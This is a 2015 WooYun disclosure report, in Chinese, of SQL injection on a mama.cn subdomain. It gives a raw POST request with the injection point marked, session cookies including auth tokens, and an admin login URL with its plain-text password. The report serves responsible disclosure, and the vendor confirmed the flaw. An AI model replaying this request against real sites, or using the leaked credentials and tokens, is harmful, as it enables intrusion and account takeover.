当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0111603

漏洞标题:妈妈网某站SQL注入

相关厂商:妈妈网

漏洞作者: mango

提交时间:2015-05-02 07:07

修复时间:2015-06-18 11:44

公开时间:2015-06-18 11:44

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-02: 细节已通知厂商并且等待厂商处理中
2015-05-04: 厂商已经确认,细节仅向厂商公开
2015-05-14: 细节向核心白帽子及相关领域专家公开
2015-05-24: 细节向普通白帽子公开
2015-06-03: 细节向实习白帽子公开
2015-06-18: 细节向公众公开

简要描述:

详细说明:

POST /x2/index.php?p=pampers&c=minitwo&a=index&order=ddesc HTTP/1.1
Host: zt.mama.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
DontTrackMeHere: gzip, deflate
Referer: http://zt.mama.cn/x2/index.php?p=pampers&c=minitwo&a=index&order=ddesc
Cookie: mamastatid=vlstat-1430505053000-1509378837; Hm_lvt_f2babe867b10ece0ff53079ad6c04981=1430505056; Hm_lpvt_f2babe867b10ece0ff53079ad6c04981=1430509314; xloginmama_service=http%253A%252F%252Fq.mama.cn%252F; GtC_8757_lastvisit=1430503909; GtC_8757_sid=nVLFfk; YIsd_8757_lastvisit=1430503955; YIsd_8757_sid=YmVRBf; YIsd_8757_lastact=1430507563%09home.php%09misc; HqrC_saltkey=B4997z4U; HqrC_sid=428842; HqrC_urlquerystring=p%3Dpampers%26c%3Dminitwo%26a%3Dbaidu; bdshare_firstime=1430509020132; xloginmama_uid=12613321; xloginmama_name=mango1995; xloginmama_xsecret=a894f67ca9fb4e6c3323bcd7f4ae88c9; xloginmama_local=zt.mama.cn; xloginmama_keys=0fc138dd2a235c0b4fa40afc2d4a7858; xloginmama_xt=5937306810696121302ca34172205c9f; xloginmama_xsecret2=581035b1b0501747c007b77fa9ba5d1c; xltuan_xsecret=304dOOCoRiA7JU1nrZqRTZHn40y3gRDQL4igDfXTb3UfgH%2FEhg; GtC_8757_auth=74abq6OdAL3BeXAI57sX2L%2BSLyoh6Z1hlbA8IdeTv0vJeVYNXUV3HtfroQsJI6h7a%2FOI7Bzd9F%2FD4VP17eDq2baiDEiF5A; HqrC_auth=681dD3XUhw6n78mNv5taCZGPMqgf%2FjHEa%2FsPsPALovo8dMPieh0Os9OyGgZc0DpRiD5rGzP47s5hBtTZupEJjGTaSxDway7A6CS3Ci4i4N%2Fm
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
name=*


`@34TRMC%1}XST6D~K`{OH5.jpg


{NMFFEFF5A4$7DAWGGGC7`R.jpg


漏洞证明:

找到 http://try.mama.cn/admin/login.php 后台 admin 123456789

E_AM3RZ$7O99%F$MK@R4T8N.jpg

修复方案:

版权声明:转载请注明来源 mango@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-05-04 11:42

厂商回复:

谢谢

最新状态:

暂无